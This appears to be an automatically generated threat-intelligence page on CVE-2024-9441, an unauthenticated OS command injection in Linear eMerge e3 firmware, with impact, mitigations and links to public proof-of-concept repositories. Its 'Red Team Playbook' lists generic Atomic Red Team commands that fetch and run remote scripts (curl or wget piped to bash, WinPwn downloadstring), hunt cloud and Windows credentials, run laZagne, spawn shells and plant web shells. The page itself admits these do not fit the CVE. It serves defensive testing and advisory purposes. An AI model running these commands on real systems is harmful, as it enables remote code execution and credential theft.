CVE-2024-9441
Overview
This vulnerability is an OS command injection affecting the Linear eMerge e3-Series firmware through version 1.00-07. The root cause lies in insufficient input validation of the login_id parameter within the forgot_password functionality. This flaw allows untrusted input to be interpreted and executed as operating system commands on the device via HTTP requests.
Vulnerability Description
The Linear eMerge e3-Series through version 1.00-07 is vulnerable to an OS command injection vulnerability. A remote and unauthenticated attacker can execute arbitrary OS commands via the login_id parameter when invoking the forgot_password functionality over HTTP.
Impact
An unauthenticated remote attacker can execute arbitrary OS commands on the affected device, potentially leading to full system compromise. No authentication or user interaction is required, and exploitation is possible over the network via HTTP. This can result in unauthorized control of the device, data exposure, or disruption of security system operations. The CVSS vector (AV:N/AC:L/PR:N/UI:N) indicates ease of exploitation with high impact on confidentiality, integrity, and availability.
Solution
Nortek has released firmware updates for the Linear eMerge e3-Series addressing this issue; users should upgrade to versions later than 1.00-07 as detailed in the vendor advisory (https://ssd-disclosure.com/ssd-advisory-nortek-linear-emerge-e3-pre-auth-rce/). The advisory provides step-by-step patch installation instructions. Until patched, restricting HTTP access to the device and disabling the forgot_password feature where possible are recommended mitigations.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Linear eMerge e3-Series system arises from an OS command injection flaw present in the forgot_password functionality. This issue allows an unauthenticated remote attacker to manipulate the login_id parameter, enabling the execution of arbitrary operating system commands on the server. The root cause of this vulnerability lies in insufficient input validation and sanitization, which permits the injection of malicious commands that the underlying operating system executes without proper checks. Such a weakness can lead to severe consequences, as it effectively allows attackers to gain control over the affected system.
Attack vectors for exploiting this vulnerability are straightforward yet highly effective. An attacker can initiate a request to the forgot_password endpoint, supplying a crafted login_id parameter that includes OS commands. For instance, by appending shell commands to the input, an attacker could potentially read sensitive files, alter system configurations, or even establish a backdoor for persistent access. The ease of exploitation, combined with the lack of authentication requirements, significantly lowers the barrier for potential attackers, making this vulnerability particularly dangerous. Given the nature of the command execution, the attacker could leverage this access for various malicious activities, including data exfiltration, system compromise, or lateral movement within the network.
The real-world impact of such vulnerabilities cannot be overstated. Organizations utilizing the Linear eMerge e3-Series system may face significant business risks, including data breaches, operational disruptions, and reputational damage. The high CVSS score of 9.8 indicates that the vulnerability poses a critical threat, which could lead to unauthorized access to sensitive information or control over key infrastructure components. The potential for financial loss is substantial, as organizations may incur costs related to incident response, regulatory fines, and loss of customer trust. Additionally, the exploitation of this vulnerability could lead to broader implications, such as the compromise of interconnected systems or services, amplifying the overall risk landscape.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First and foremost, regular security assessments, including penetration testing and code reviews, should be conducted to identify and remediate such vulnerabilities proactively. Employing web application firewalls (WAFs) can also help filter out malicious requests targeting the vulnerable endpoint. Furthermore, organizations should enforce strict input validation and sanitization practices within their applications to prevent OS command injection. This includes implementing allowlists for acceptable input formats and escaping or removing potentially dangerous characters. Lastly, keeping the software up to date with the latest security patches is crucial in minimizing exposure to known vulnerabilities.
In conclusion, the OS command injection vulnerability in the Linear eMerge e3-Series system represents a significant threat to organizations that rely on this technology. The ease of exploitation and the potential for severe consequences necessitate immediate attention from cybersecurity professionals. By adopting robust detection and mitigation strategies, organizations can safeguard their systems against such vulnerabilities, thereby reducing the risk of exploitation and protecting their critical assets. The ongoing commitment to security best practices will be essential in maintaining a resilient posture against emerging threats in the ever-evolving cybersecurity landscape.
CSURFACE threat intelligence has detected a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-9441, rising by over 12% to a current level placing it in the 0.99th percentile. This upward trend, corroborated by a steady 7-day increase, signals growing confidence in the likelihood of exploitation despite the absence of rapidly escalating activity. Concurrently, new proof-of-concept exploits have surfaced on public repositories, broadening the available toolkit for potential attackers. This combination of heightened predictive scoring and expanded exploit availability underscores an elevated threat posture. For defenders, this development signifies an increased probability that threat actors will attempt to leverage the vulnerability in operational environments, thereby intensifying the urgency for vigilant monitoring and proactive defense measures. While the vulnerability was already critical, these changes amplify the risk landscape by suggesting that exploitation attempts may become more frequent and sophisticated in the near term.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
p33d/CVE-2024-9441
|
p33d | 6 | 0 | 2024-10-10 | View |
|
adhikara13/CVE-2024-9441
Nortek Linear eMerge E3 Pre-Auth RCE PoC (CVE-2024-9441)
|
adhikara13 | 2 | 1 | 2024-10-03 | View |
|
jk-mayne/CVE-2024-9441-Checker
A simple python script to test for CVE-2024-9441.
|
jk-mayne | 0 | 0 | 2024-12-09 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
58%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-9441 |
| ssd-disclosure.com |
GitHub CVE
vendor-advisory
exploit
|
https://ssd-disclosure.com/ssd-advisory-nortek-linear-emerge-e3-pre-auth-rce/ |
| vulncheck.com |
GitHub CVE
third-party-advisory
|
https://vulncheck.com/advisories/linear-emerge-forgot-password |